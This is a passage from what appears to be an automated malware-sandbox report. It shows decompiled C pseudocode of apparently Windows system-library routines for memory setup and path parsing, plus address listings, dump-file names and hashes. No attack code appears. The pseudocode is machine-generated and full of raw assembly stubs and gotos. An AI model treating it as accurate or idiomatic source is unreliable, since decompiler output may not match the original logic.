								__eflags = _t442 -  *(_t474 - 0x11);
								if(_t442 !=  *(_t474 - 0x11)) {
									goto L92;
								}
								L15:
								_t306 =  *(_t474 + 1) & 0x000000ff;
								 *(_t528 - 0xc0) = _t306;
								 *(_t528 - 0xa4) = _t306;
								__eflags =  *0x47260e8;
								if( *0x47260e8 != 0) {
									__eflags = _t306 - 0x40;
									if(_t306 < 0x40) {
										L20:
										asm("lock inc dword [eax]");
										_t310 =  *0x47260e8; // 0x0
										_t311 =  *(_t310 +  *(_t528 - 0xa4) * 8);
										__eflags = _t311 & 0x00000001;
										if((_t311 & 0x00000001) == 0) {
											 *(_t528 - 0xa0) = _t311;
											_t475 = _t427;
											 *(_t528 - 0x74) = _t427;
											__eflags = _t475;
											if(_t475 != 0) {
												L91:
												_t474 =  *((intOrPtr*)(_t528 - 0x94));
												goto L92;
											}
											asm("sbb edi, edi");
											_t498 = ( ~( *(_t528 + 0x18)) & _t511) + 0x50;
											_t511 = _t498;
											_t312 =  *((intOrPtr*)(_t528 - 0x94));
											__eflags =  *(_t312 - 5) & 1;
											if(( *(_t312 - 5) & 1) != 0) {
												_push(_t528 - 0x98);
												_push(0x4c);
												_push(_t528 - 0x70);
												_push(1);
												_push(0xfffffffa);
												_t412 = E04679710();
												_t475 = _t427;
												__eflags = _t412;
												if(_t412 >= 0) {
													_t414 =  *(_t528 - 0x98) - 8;
													 *(_t528 - 0x98) = _t414;
													_t416 = _t414 + 0x0000000f & 0x0000fff8;
													 *(_t528 - 0x8c) = _t416;
													 *(_t528 - 0x79) = 1;
													_t511 = (_t416 & 0x0000ffff) + _t498;
													__eflags = _t511;
												}
											}
											_t446 =  *( *((intOrPtr*)(_t528 - 0x94)) - 5);
											__eflags = _t446 & 0x00000004;
											if((_t446 & 0x00000004) != 0) {
												__eflags =  *(_t528 - 0x9c);
												if( *(_t528 - 0x9c) != 0) {
													 *(_t528 - 0x7a) = 1;
													_t511 = _t511 + ( *(_t528 - 0x84) & 0x0000ffff);
													__eflags = _t511;
												}
											}
											_t313 = 2;
											_t447 = _t446 & _t313;
											__eflags = _t447;
											 *(_t528 - 0xd4) = _t447;
											if(_t447 != 0) {
												_t406 = 0x10;
												_t511 = _t511 + _t406;
												__eflags = _t511;
											}
											_t494 = ( *( *((intOrPtr*)(_t528 - 0xc4)) + 0x40) << 4) +  *((intOrPtr*)(_t528 - 0xc4));
											 *(_t528 - 0x88) = _t427;
											__eflags =  *(_t528 + 0x1c);
											if( *(_t528 + 0x1c) <= 0) {
												L45:
												__eflags =  *(_t528 - 0xb0);
												if( *(_t528 - 0xb0) != 0) {
													_t511 = _t511 + (( *(_t528 - 0x90) & 0x0000ffff) + 0x0000000f & 0xfffffff8);
													__eflags = _t511;
												}
												__eflags = _t475;
												if(_t475 != 0) {
													asm("lock dec dword [ecx+edx*8+0x4]");
													goto L100;
												} else {
													_t494[3] = _t511;
													_t451 =  *(_t528 - 0xa0);
													_t427 = E04676DE6(_t451, _t511,  *( *[fs:0x18] + 0xf77) & 0x000000ff, _t528 - 0xe0, _t528 - 0xbc);
													 *(_t528 - 0x88) = _t427;
													__eflags = _t427;
													if(_t427 == 0) {
														__eflags = _t511 - 0xfff8;
														if(_t511 <= 0xfff8) {
															__eflags =  *((intOrPtr*)( *(_t528 - 0xa0) + 0x90)) - _t511;
															asm("sbb ecx, ecx");
															__eflags = (_t451 & 0x000000e2) + 8;
														}
														asm("lock dec dword [eax+edx*8+0x4]");
														L100:
														goto L101;
													}
													_t453 =  *(_t528 - 0xa0);
													 *_t494 = _t453;
													_t494[1] = _t427;
													_t494[2] =  *(_t528 - 0xbc);
													 *( *((intOrPtr*)(_t528 - 0xc4)) + 0x40) =  *( *((intOrPtr*)(_t528 - 0xc4)) + 0x40) + 1;
													 *_t427 =  *(_t453 + 0x24) | _t511;
													 *(_t427 + 4) =  *((intOrPtr*)(_t528 + 0x10));
													 *((short*)(_t427 + 6)) =  *((intOrPtr*)(_t528 + 8));
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													__eflags =  *(_t528 + 0x14);
													if( *(_t528 + 0x14) == 0) {
														__eflags =  *[fs:0x18] + 0xf50;
													}
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													__eflags =  *(_t528 + 0x18);
													if( *(_t528 + 0x18) == 0) {
														_t454 =  *(_t528 - 0x80);
														_t479 =  *(_t528 - 0x78);
														_t327 = 1;
														__eflags = 1;
													} else {
														_t146 = _t427 + 0x50; // 0x50
														_t454 = _t146;
														 *(_t528 - 0x80) = _t454;
														_t382 = 0x18;
														 *_t454 = _t382;
														 *((short*)(_t454 + 2)) = 1;
														_t385 = 0x10;
														 *((short*)(_t454 + 6)) = _t385;
														 *(_t454 + 4) = 0;
														asm("movsd");
														asm("movsd");
														asm("movsd");
														asm("movsd");
														_t327 = 1;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 = 0x68;
														 *(_t528 - 0x78) = _t479;
													}
													__eflags =  *(_t528 - 0x79) - _t327;
													if( *(_t528 - 0x79) == _t327) {
														_t524 = _t479 + _t427;
														_t508 =  *(_t528 - 0x8c);
														 *_t524 = _t508;
														_t373 = 2;
														 *((short*)(_t524 + 2)) = _t373;
														 *((short*)(_t524 + 6)) =  *(_t528 - 0x98);
														 *((short*)(_t524 + 4)) = 0;
														_t167 = _t524 + 8; // 0x8
														E0467F3E0(_t167, _t528 - 0x68,  *(_t528 - 0x98));
														_t529 = _t529 + 0xc;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 =  *(_t528 - 0x78) + (_t508 & 0x0000ffff);
														 *(_t528 - 0x78) = _t479;
														_t380 =  *(_t528 - 0x80);
														__eflags = _t380;
														if(_t380 != 0) {
															_t173 = _t380 + 4;
															 *_t173 =  *(_t380 + 4) | 1;
															__eflags =  *_t173;
														}
														_t454 = _t524;
														 *(_t528 - 0x80) = _t454;
														_t327 = 1;
														__eflags = 1;
													}
													__eflags =  *(_t528 - 0xd4);
													if( *(_t528 - 0xd4) == 0) {
														_t505 =  *(_t528 - 0x80);
													} else {
														_t505 = _t479 + _t427;
														_t523 = 0x10;
														 *_t505 = _t523;
														_t367 = 3;
														 *((short*)(_t505 + 2)) = _t367;
														_t368 = 4;
														 *((short*)(_t505 + 6)) = _t368;
														 *(_t505 + 4) = 0;
														 *((intOrPtr*)(_t505 + 8)) =  *((intOrPtr*)( *[fs:0x30] + 0x1d4));
														_t327 = 1;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 = _t479 + _t523;
														 *(_t528 - 0x78) = _t479;
														__eflags = _t454;
														if(_t454 != 0) {
															_t186 = _t454 + 4;
															 *_t186 =  *(_t454 + 4) | 1;
															__eflags =  *_t186;
														}
														 *(_t528 - 0x80) = _t505;
													}
													__eflags =  *(_t528 - 0x7a) - _t327;
													if( *(_t528 - 0x7a) == _t327) {
														 *(_t528 - 0xd4) = _t479 + _t427;
														_t522 =  *(_t528 - 0x84) & 0x0000ffff;
														E0467F3E0(_t479 + _t427,  *(_t528 - 0x9c), _t522);
														_t529 = _t529 + 0xc;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 =  *(_t528 - 0x78) + _t522;
														 *(_t528 - 0x78) = _t479;
														__eflags = _t505;
														if(_t505 != 0) {
															_t199 = _t505 + 4;
															 *_t199 =  *(_t505 + 4) | 1;
															__eflags =  *_t199;
														}
														_t505 =  *(_t528 - 0xd4);
														 *(_t528 - 0x80) = _t505;
													}
													__eflags =  *(_t528 - 0xa8);
													if( *(_t528 - 0xa8) != 0) {
														_t356 = _t479 + _t427;
														 *(_t528 - 0xd4) = _t356;
														_t462 =  *(_t528 - 0xac);
														 *_t356 = _t462 + 0x0000000f & 0x0000fff8;
														_t485 = 0xc;
														 *((short*)(_t356 + 2)) = _t485;
														 *(_t356 + 6) = _t462;
														 *((short*)(_t356 + 4)) = 0;
														_t211 = _t356 + 8; // 0x9
														E0467F3E0(_t211,  *(_t528 - 0xa8), _t462 & 0x0000ffff);
														E0467FA60((_t462 & 0x0000ffff) + _t211, 0, (_t462 + 0x0000000f & 0x0000fff8) -  *(_t528 - 0xac) - 0x00000008 & 0x0000ffff);
														_t529 = _t529 + 0x18;
														_t427 =  *(_t528 - 0x88);
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t505 =  *(_t528 - 0xd4);
														_t479 =  *(_t528 - 0x78) + ( *_t505 & 0x0000ffff);
														 *(_t528 - 0x78) = _t479;
														_t362 =  *(_t528 - 0x80);
														__eflags = _t362;
														if(_t362 != 0) {
															_t222 = _t362 + 4;
															 *_t222 =  *(_t362 + 4) | 1;
															__eflags =  *_t222;
														}
													}
													__eflags =  *(_t528 - 0xb0);
													if( *(_t528 - 0xb0) != 0) {
														 *(_t479 + _t427) =  *(_t528 - 0x90) + 0x0000000f & 0x0000fff8;
														_t458 = 0xb;
														 *((short*)(_t479 + _t427 + 2)) = _t458;
														 *((short*)(_t479 + _t427 + 6)) =  *(_t528 - 0x90);
														 *((short*)(_t427 + 4 + _t479)) = 0;
														 *(_t528 - 0xb8) = _t479 + 8 + _t427;
														E0467FA60(( *(_t528 - 0x90) & 0x0000ffff) + _t479 + 8 + _t427, 0, ( *(_t528 - 0x90) + 0x0000000f & 0x0000fff8) -  *(_t528 - 0x90) - 0x00000008 & 0x0000ffff);
														_t529 = _t529 + 0xc;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 =  *(_t528 - 0x78) + ( *( *(_t528 - 0x78) + _t427) & 0x0000ffff);
														 *(_t528 - 0x78) = _t479;
														__eflags = _t505;
														if(_t505 != 0) {
															_t241 = _t505 + 4;
															 *_t241 =  *(_t505 + 4) | 1;
															__eflags =  *_t241;
														}
													}
													_t328 =  *(_t528 + 0x1c);
													__eflags = _t328;
													if(_t328 == 0) {
														L87:
														_t329 =  *((intOrPtr*)(_t528 - 0xe0));
														 *((intOrPtr*)(_t427 + 0x10)) = _t329;
														_t455 =  *(_t528 - 0xdc);
														 *(_t427 + 0x14) = _t455;
														_t480 =  *(_t528 - 0xa0);
														_t517 = 3;
														__eflags =  *((intOrPtr*)(_t480 + 0x10)) - _t517;
														if( *((intOrPtr*)(_t480 + 0x10)) != _t517) {
															asm("rdtsc");
															 *(_t427 + 0x3c) = _t480;
														} else {
															 *(_t427 + 0x3c) = _t455;
														}
														 *((intOrPtr*)(_t427 + 0x38)) = _t329;
														_t456 =  *[fs:0x18];
														 *((intOrPtr*)(_t427 + 8)) =  *((intOrPtr*)(_t456 + 0x24));
														 *((intOrPtr*)(_t427 + 0xc)) =  *((intOrPtr*)(_t456 + 0x20));
														_t427 = 0;
														__eflags = 0;
														_t511 = 0x18;
														goto L91;
													} else {
														_t519 =  *((intOrPtr*)(_t528 - 0xc8)) + 0xc;
														__eflags = _t519;
														 *(_t528 - 0x8c) = _t328;
														do {
															_t506 =  *((intOrPtr*)(_t519 - 4));
															_t457 =  *((intOrPtr*)(_t519 - 0xc));
															 *(_t528 - 0xd4) =  *(_t519 - 8);
															_t333 =  *((intOrPtr*)(_t528 - 0xb4));
															__eflags =  *(_t333 + 0x36) & 0x00004000;
															if(( *(_t333 + 0x36) & 0x00004000) != 0) {
																_t334 =  *_t519;
															} else {
																_t334 = 0;
															}
															_t336 = _t334 & 0x000000ff;
															__eflags = _t336;
															_t427 =  *(_t528 - 0x88);
															if(_t336 == 0) {
																_t481 = _t479 + _t506;
																__eflags = _t481;
																 *(_t528 - 0x78) = _t481;
																E0467F3E0(_t479 + _t427, _t457, _t506);
																_t529 = _t529 + 0xc;
															} else {
																_t340 = _t336 - 1;
																__eflags = _t340;
																if(_t340 == 0) {
																	E0467F3E0( *(_t528 - 0xb8), _t457, _t506);
																	_t529 = _t529 + 0xc;
																	 *(_t528 - 0xb8) =  *(_t528 - 0xb8) + _t506;
																} else {
																	__eflags = _t340 == 0;
																	if(_t340 == 0) {
																		__eflags = _t506 - 8;
																		if(_t506 == 8) {
																			 *((intOrPtr*)(_t528 - 0xe0)) =  *_t457;
																			 *(_t528 - 0xdc) =  *(_t457 + 4);
																		}
																	}
																}
															}
															_t339 = 0x10;
															_t519 = _t519 + _t339;
															_t263 = _t528 - 0x8c;
															 *_t263 =  *(_t528 - 0x8c) - 1;
															__eflags =  *_t263;
															_t479 =  *(_t528 - 0x78);
														} while ( *_t263 != 0);
														goto L87;
													}
												}
											} else {
												_t392 =  *( *((intOrPtr*)(_t528 - 0xb4)) + 0x36) & 0x00004000;
												 *(_t528 - 0xa2) = _t392;
												_t469 =  *((intOrPtr*)(_t528 - 0xc8)) + 8;
												__eflags = _t469;
												while(1) {
													 *(_t528 - 0xe4) = _t511;
													__eflags = _t392;
													_t393 = _t427;
													if(_t392 != 0) {
														_t393 =  *((intOrPtr*)(_t469 + 4));
													}
													_t395 = (_t393 & 0x000000ff) - _t427;
													__eflags = _t395;
													if(_t395 == 0) {
														_t511 = _t511 +  *_t469;
														__eflags = _t511;
													} else {
														_t398 = _t395 - 1;
														__eflags = _t398;
														if(_t398 == 0) {
															 *(_t528 - 0x90) =  *(_t528 - 0x90) +  *_t469;
															 *(_t528 - 0xb0) =  *(_t528 - 0xb0) + 1;
														} else {
															__eflags = _t398 == 1;
															if(_t398 == 1) {
																 *(_t528 - 0xa8) =  *(_t469 - 8);
																_t402 =  *_t469 & 0x0000ffff;
																 *(_t528 - 0xac) = _t402;
																_t511 = _t511 + ((_t402 & 0x0000ffff) + 0x0000000f & 0xfffffff8);
															}
														}
													}
													__eflags = _t511 -  *(_t528 - 0xe4);
													if(_t511 <  *(_t528 - 0xe4)) {
														break;
													}
													_t397 =  *(_t528 - 0x88) + 1;
													 *(_t528 - 0x88) = _t397;
													_t469 = _t469 + 0x10;
													__eflags = _t397 -  *(_t528 + 0x1c);
													_t392 =  *(_t528 - 0xa2);
													if(_t397 <  *(_t528 + 0x1c)) {
														continue;
													}
													goto L45;
												}
												_t475 = 0x216;
												 *(_t528 - 0x74) = 0x216;
												goto L45;
											}
										} else {
											asm("lock dec dword [eax+ecx*8+0x4]");
											goto L16;
										}
									}
									_t491 = E04704CAB(_t306, _t528 - 0xa4);
									 *(_t528 - 0x74) = _t491;
									__eflags = _t491;
									if(_t491 != 0) {
										goto L91;
									} else {
										_t474 =  *((intOrPtr*)(_t528 - 0x94));
										goto L20;
									}
								}
								L16:
								 *(_t528 - 0x74) = 0x1069;
								L93:
								_t298 =  *(_t528 - 0xd0) + 1;
								 *(_t528 - 0xd0) = _t298;
								_t474 = _t474 + _t511;
								 *((intOrPtr*)(_t528 - 0x94)) = _t474;
								_t494 = 4;
								__eflags = _t298 - _t494;
								if(_t298 >= _t494) {
									goto L100;
								}
								_t494 =  *(_t528 - 0xcc);
								_t435 = _t298;
								continue;
							}
							__eflags = _t494[2] | _t494[3];
							if((_t494[2] | _t494[3]) == 0) {
								goto L15;
							}
							goto L12;
						}
						__eflags = _t301;
						if(_t301 != 0) {
							goto L92;
						}
						goto L10;
						L92:
						goto L93;
					}
				} else {
					_push(0x57);
					L101:
					return E0468D130(_t427, _t494, _t511);
				}
			}

0x04705ba5
0x04705baa
0x04705baf
0x04705bb4
0x04705bb6
0x04705bbc
0x04705bbe
0x04705bc4
0x04705bcd
0x04705bd3
0x04705bd6
0x04705bdc
0x04705be0
0x04705be3
0x04705beb
0x04705bf2
0x04705bf8
0x04705bfe
0x04705c04
0x04705c0e
0x04705c18
0x04705c1f
0x04705c25
0x04705c2a
0x04705c2c
0x04705c32
0x04705c3a
0x04705c3f
0x04705c42
0x04705c48
0x04705c5b
0x04705c5b
0x04705c2c
0x04705cb7
0x04705cb9
0x04705cbf
0x04705cc2
0x04705cca
0x04705ccb
0x04705ccb
0x04705cd1
0x04705cd7
0x04705cda
0x04705ce1
0x04705ce4
0x04705ce7
0x04705ced
0x04705cf3
0x04705cf9
0x04705cff
0x04705d08
0x04705d0a
0x04705d0e
0x04705d10
0x00000000
0x00000000
0x04705d16
0x04705d1a
0x00000000
0x00000000
0x04705d20
0x04705d22
0x04705d25
0x04705d2f
0x04705d2f
0x04705d33
0x04705d3d
0x04705d49
0x04705d4b
0x00000000
0x00000000
0x04705d5a
0x04705d5d
0x04705d60
0x00000000
0x00000000
0x04705d66
0x04705d69
0x00000000
0x00000000
0x04705d6f
0x04705d6f
0x04705d73
0x04705d79
0x04705d7f
0x04705d86
0x04705d95
0x04705d98
0x04705dba
0x04705dcb
0x04705dce
0x04705dd3
0x04705dd6
0x04705dd8
0x04705de6
0x04705dec
0x04705dee
0x04705df1
0x04705df3
0x0470635a
0x0470635a
0x00000000
0x0470635a
0x04705dfe
0x04705e02
0x04705e05
0x04705e07
0x04705e10
0x04705e13
0x04705e1b
0x04705e1c
0x04705e21
0x04705e22
0x04705e23
0x04705e25
0x04705e2a
0x04705e2c
0x04705e2e
0x04705e36
0x04705e39
0x04705e42
0x04705e47
0x04705e4d
0x04705e54
0x04705e54
0x04705e54
0x04705e2e
0x04705e5c
0x04705e5f
0x04705e62
0x04705e64
0x04705e6b
0x04705e70
0x04705e7a
0x04705e7a
0x04705e7a
0x04705e6b
0x04705e7e
0x04705e7f
0x04705e7f
0x04705e81
0x04705e87
0x04705e8b
0x04705e8c
0x04705e8c
0x04705e8c
0x04705e9a
0x04705e9c
0x04705ea2
0x04705ea6
0x04705f50
0x04705f50
0x04705f57
0x04705f66
0x04705f66
0x04705f66
0x04705f68
0x04705f6a
0x047063d0
0x00000000
0x04705f70
0x04705f70
0x04705f91
0x04705f9c
0x04705f9e
0x04705fa4
0x04705fa6
0x0470638c
0x04706392
0x047063a1
0x047063a7
0x047063af
0x047063af
0x047063bd
0x047063d8
0x00000000
0x047063d8
0x04705fac
0x04705fb2
0x04705fb4
0x04705fbd
0x04705fc6
0x04705fce
0x04705fd4
0x04705fdc
0x04705fec
0x04705fed
0x04705fee
0x04705fef
0x04705ff9
0x04705ffa
0x04705ffb
0x04705ffc
0x04706000
0x04706004
0x04706012
0x04706012
0x04706018
0x04706019
0x0470601a
0x0470601b
0x0470601c
0x04706020
0x04706059
0x0470605c
0x04706061
0x04706061
0x04706022
0x04706022
0x04706022
0x04706025
0x0470602a
0x0470602b
0x04706031
0x04706037
0x04706038
0x0470603e
0x04706048
0x04706049
0x0470604a
0x0470604b
0x0470604c
0x0470604d
0x04706053
0x04706054
0x04706054
0x04706062
0x04706065
0x04706067
0x0470606a
0x04706070
0x04706075
0x04706076
0x04706081
0x04706087
0x04706095
0x04706099
0x0470609e
0x047060a4
0x047060ae
0x047060b0
0x047060b3
0x047060b6
0x047060b8
0x047060ba
0x047060ba
0x047060ba
0x047060ba
0x047060be
0x047060c0
0x047060c5
0x047060c5
0x047060c5
0x047060c6
0x047060cd
0x04706114
0x047060cf
0x047060cf
0x047060d4
0x047060d5
0x047060da
0x047060db
0x047060e1
0x047060e2
0x047060e8
0x047060f8
0x047060fd
0x047060fe
0x04706102
0x04706104
0x04706107
0x04706109
0x0470610b
0x0470610b
0x0470610b
0x0470610b
0x0470610f
0x0470610f
0x04706117
0x0470611a
0x0470611f
0x04706125
0x04706134
0x04706139
0x0470613f
0x04706146
0x04706148
0x0470614b
0x0470614d
0x0470614f
0x0470614f
0x0470614f
0x0470614f
0x04706153
0x04706159
0x04706159
0x0470615c
0x04706163
0x04706169
0x0470616c
0x04706172
0x04706181
0x04706186
0x04706187
0x0470618b
0x04706191
0x04706195
0x047061a3
0x047061bb
0x047061c0
0x047061c3
0x047061cc
0x047061d0
0x047061dc
0x047061de
0x047061e1
0x047061e4
0x047061e6
0x047061e8
0x047061e8
0x047061e8
0x047061e8
0x047061e6
0x047061ec
0x047061f3
0x04706203
0x04706209
0x0470620a
0x04706216
0x0470621d
0x04706227
0x04706241
0x04706246
0x0470624c
0x04706257
0x04706259
0x0470625c
0x0470625e
0x04706260
0x04706260
0x04706260
0x04706260
0x0470625e
0x04706264
0x04706267
0x04706269
0x04706315
0x04706315
0x0470631b
0x0470631e
0x04706324
0x04706327
0x0470632f
0x04706330
0x04706333
0x0470633a
0x0470633c
0x04706335
0x04706335
0x04706335
0x0470633f
0x04706342
0x0470634c
0x04706352
0x04706355
0x04706355
0x04706359
0x00000000
0x0470626f
0x04706275
0x04706275
0x04706278
0x0470627e
0x0470627e
0x04706281
0x04706287
0x0470628d
0x04706298
0x0470629c
0x047062a2
0x0470629e
0x0470629e
0x0470629e
0x047062a7
0x047062a7
0x047062aa
0x047062b0
0x047062f0
0x047062f0
0x047062f2
0x047062f8
0x047062fd
0x047062b2
0x047062b2
0x047062b2
0x047062b5
0x047062dd
0x047062e2
0x047062e5
0x047062b7
0x047062b8
0x047062bb
0x047062bd
0x047062c0
0x047062c4
0x047062cd
0x047062cd
0x047062c0
0x047062bb
0x047062b5
0x04706302
0x04706303
0x04706305
0x04706305
0x04706305
0x0470630c
0x0470630c
0x00000000
0x0470627e
0x04706269
0x04705eac
0x04705ebb
0x04705ebe
0x04705ecb
0x04705ecb
0x04705ece
0x04705ece
0x04705ed4
0x04705ed7
0x04705ed9
0x04705edb
0x04705edb
0x04705ee1
0x04705ee1
0x04705ee3
0x04705f20
0x04705f20
0x04705ee5
0x04705ee5
0x04705ee5
0x04705ee8
0x04705f11
0x04705f18
0x04705eea
0x04705eea
0x04705eed
0x04705ef2
0x04705ef8
0x04705efb
0x04705f0a
0x04705f0a
0x04705eed
0x04705ee8
0x04705f22
0x04705f28
0x00000000
0x00000000
0x04705f30
0x04705f31
0x04705f37
0x04705f3a
0x04705f3d
0x04705f44
0x00000000
0x00000000
0x00000000
0x04705f46
0x04705f48
0x04705f4d
0x00000000
0x04705f4d
0x04705dda
0x04705ddf
0x00000000
0x04705ddf
0x04705dd8
0x04705da7
0x04705da9
0x04705dac
0x04705dae
0x00000000
0x04705db4
0x04705db4
0x00000000
0x04705db4
0x04705dae
0x04705d88
0x04705d8d
0x04706363
0x04706369
0x0470636a
0x04706370
0x04706372
0x0470637a
0x0470637b
0x0470637d
0x00000000
0x00000000
0x0470637f
0x04706385
0x00000000
0x04706385
0x04705d38
0x04705d3b
0x00000000
0x00000000
0x00000000
0x04705d3b
0x04705d27
0x04705d29
0x00000000
0x00000000
0x00000000
0x04706360
0x00000000
0x04706360
0x04705c10
0x04705c10
0x047063da
0x047063e5
0x047063e5

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc59080988f583f91ee4f8dd9970b3f17db4c568ed7a0027a3ed38cee3f96ec2
Instruction ID: 1fe8e2196d51ab6a182bfd3743efaa6b17288a0bae7fed5ddf7b6408a5595665
Opcode Fuzzy Hash: bc59080988f583f91ee4f8dd9970b3f17db4c568ed7a0027a3ed38cee3f96ec2
Instruction Fuzzy Hash: EA424A75A01229CFDB24CF68C890BA9B7F1FF45304F14C1AAD949AB381E734A995CF90

Uniqueness

Uniqueness Score: -1.00%

Function 04654120, Relevance: .4, Instructions: 444
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E04654120(signed char __ecx, signed short* __edx, signed short* _a4, signed int _a8, signed short* _a12, signed short* _a16, signed short _a20) {
				signed int _v8;
				void* _v20;
				signed int _v24;
				char _v532;
				char _v540;
				signed short _v544;
				signed int _v548;
				signed short* _v552;
				signed short _v556;
				signed short* _v560;
				signed short* _v564;
				signed short* _v568;
				void* _v570;
				signed short* _v572;
				signed short _v576;
				signed int _v580;
				char _v581;
				void* _v584;
				unsigned int _v588;
				signed short* _v592;
				void* _v597;
				void* _v600;
				void* _v604;
				void* _v609;
				void* _v616;
				void* __ebx;
				void* __edi;
				void* __esi;
				unsigned int _t161;
				signed int _t162;
				unsigned int _t163;
				void* _t169;
				signed short _t173;
				signed short _t177;
				signed short _t181;
				unsigned int _t182;
				signed int _t185;
				signed int _t213;
				signed int _t225;
				short _t233;
				signed char _t234;
				signed int _t242;
				signed int _t243;
				signed int _t244;
				signed int _t245;
				signed int _t250;
				void* _t251;
				signed short* _t254;
				void* _t255;
				signed int _t256;
				void* _t257;
				signed short* _t260;
				signed short _t265;
				signed short* _t269;
				signed short _t271;
				signed short** _t272;
				signed short* _t275;
				signed short _t282;
				signed short _t283;
				signed short _t290;
				signed short _t299;
				signed short _t307;
				signed int _t308;
				signed short _t311;
				signed short* _t315;
				signed short _t316;
				void* _t317;
				void* _t319;
				signed short* _t321;
				void* _t322;
				void* _t323;
				unsigned int _t324;
				signed int _t325;
				void* _t326;
				signed int _t327;
				signed int _t329;

				_t329 = (_t327 & 0xfffffff8) - 0x24c;
				_v8 =  *0x472d360 ^ _t329;
				_t157 = _a8;
				_t321 = _a4;
				_t315 = __edx;
				_v548 = __ecx;
				_t305 = _a20;
				_v560 = _a12;
				_t260 = _a16;
				_v564 = __edx;
				_v580 = _a8;
				_v572 = _t260;
				_v544 = _a20;
				if( *__edx <= 8) {
					L3:
					if(_t260 != 0) {
						 *_t260 = 0;
					}
					_t254 =  &_v532;
					_v588 = 0x208;
					if((_v548 & 0x00000001) != 0) {
						_v556 =  *_t315;
						_v552 = _t315[2];
						_t161 = E0466F232( &_v556);
						_t316 = _v556;
						_v540 = _t161;
						goto L17;
					} else {
						_t306 = 0x208;
						_t298 = _t315;
						_t316 = E04656E30(_t315, 0x208, _t254, _t260,  &_v581,  &_v540);
						if(_t316 == 0) {
							L68:
							_t322 = 0xc0000033;
							goto L39;
						} else {
							while(_v581 == 0) {
								_t233 = _v588;
								if(_t316 > _t233) {
									_t234 = _v548;
									if((_t234 & 0x00000004) != 0 || (_t234 & 0x00000008) == 0 &&  *((char*)( *[fs:0x30] + 3)) < 0) {
										_t254 = L04654620(_t298,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t316);
										if(_t254 == 0) {
											_t169 = 0xc0000017;
										} else {
											_t298 = _v564;
											_v588 = _t316;
											_t306 = _t316;
											_t316 = E04656E30(_v564, _t316, _t254, _v572,  &_v581,  &_v540);
											if(_t316 != 0) {
												continue;
											} else {
												goto L68;
											}
										}
									} else {
										goto L90;
									}
								} else {
									_v556 = _t316;
									 *((short*)(_t329 + 0x32)) = _t233;
									_v552 = _t254;
									if(_t316 < 2) {
										L11:
										if(_t316 < 4 ||  *_t254 == 0 || _t254[1] != 0x3a) {
											_t161 = 5;
										} else {
											if(_t316 < 6) {
												L87:
												_t161 = 3;
											} else {
												_t242 = _t254[2] & 0x0000ffff;
												if(_t242 != 0x5c) {
													if(_t242 == 0x2f) {
														goto L16;
													} else {
														goto L87;
													}
													goto L101;
												} else {
													L16:
													_t161 = 2;
												}
											}
										}
									} else {
										_t243 =  *_t254 & 0x0000ffff;
										if(_t243 == 0x5c || _t243 == 0x2f) {
											if(_t316 < 4) {
												L81:
												_t161 = 4;
												goto L17;
											} else {
												_t244 = _t254[1] & 0x0000ffff;
												if(_t244 != 0x5c) {
													if(_t244 == 0x2f) {
														goto L60;
													} else {
														goto L81;
													}
												} else {
													L60:
													if(_t316 < 6) {
														L83:
														_t161 = 1;
														goto L17;
													} else {
														_t245 = _t254[2] & 0x0000ffff;
														if(_t245 != 0x2e) {
															if(_t245 == 0x3f) {
																goto L62;
															} else {
																goto L83;
															}
														} else {
															L62:
															if(_t316 < 8) {
																L85:
																_t161 = ((0 | _t316 != 0x00000006) - 0x00000001 & 0x00000006) + 1;
																goto L17;
															} else {
																_t250 = _t254[3] & 0x0000ffff;
																if(_t250 != 0x5c) {
																	if(_t250 == 0x2f) {
																		goto L64;
																	} else {
																		goto L85;
																	}
																} else {
																	L64:
																	_t161 = 6;
																	goto L17;
																}
															}
														}
													}
												}
											}
											goto L101;
										} else {
											goto L11;
										}
									}
									L17:
									if(_t161 != 2) {
										_t162 = _t161 - 1;
										if(_t162 > 5) {
											goto L18;
										} else {
											switch( *((intOrPtr*)(_t162 * 4 +  &M046545F8))) {
												case 0:
													_v568 = 0x4611078;
													__eax = 2;
													goto L20;
												case 1:
													goto L18;
												case 2:
													_t163 = 4;
													goto L19;
											}
										}
										goto L41;
									} else {
										L18:
										_t163 = 0;
										L19:
										_v568 = 0x46111c4;
									}
									L20:
									_v588 = _t163;
									_v564 = _t163 + _t163;
									_t306 =  *_v568 & 0x0000ffff;
									_t265 = _t306 - _v564 + 2 + (_t316 & 0x0000ffff);
									_v576 = _t265;
									if(_t265 > 0xfffe) {
										L90:
										_t322 = 0xc0000106;
									} else {
										if(_t321 != 0) {
											if(_t265 > (_t321[1] & 0x0000ffff)) {
												if(_v580 != 0) {
													goto L23;
												} else {
													_t322 = 0xc0000106;
													goto L39;
												}
											} else {
												_t177 = _t306;
												goto L25;
											}
											goto L101;
										} else {
											if(_v580 == _t321) {
												_t322 = 0xc000000d;
											} else {
												L23:
												_t173 = L04654620(_t265,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t265);
												_t269 = _v592;
												_t269[2] = _t173;
												if(_t173 == 0) {
													_t322 = 0xc0000017;
												} else {
													_t316 = _v556;
													 *_t269 = 0;
													_t321 = _t269;
													_t269[1] = _v576;
													_t177 =  *_v568 & 0x0000ffff;
													L25:
													_v580 = _t177;
													if(_t177 == 0) {
														L29:
														_t307 =  *_t321 & 0x0000ffff;
													} else {
														_t290 =  *_t321 & 0x0000ffff;
														_v576 = _t290;
														_t310 = _t177 & 0x0000ffff;
														if((_t290 & 0x0000ffff) + (_t177 & 0x0000ffff) > (_t321[1] & 0x0000ffff)) {
															_t307 =  *_t321 & 0xffff;
														} else {
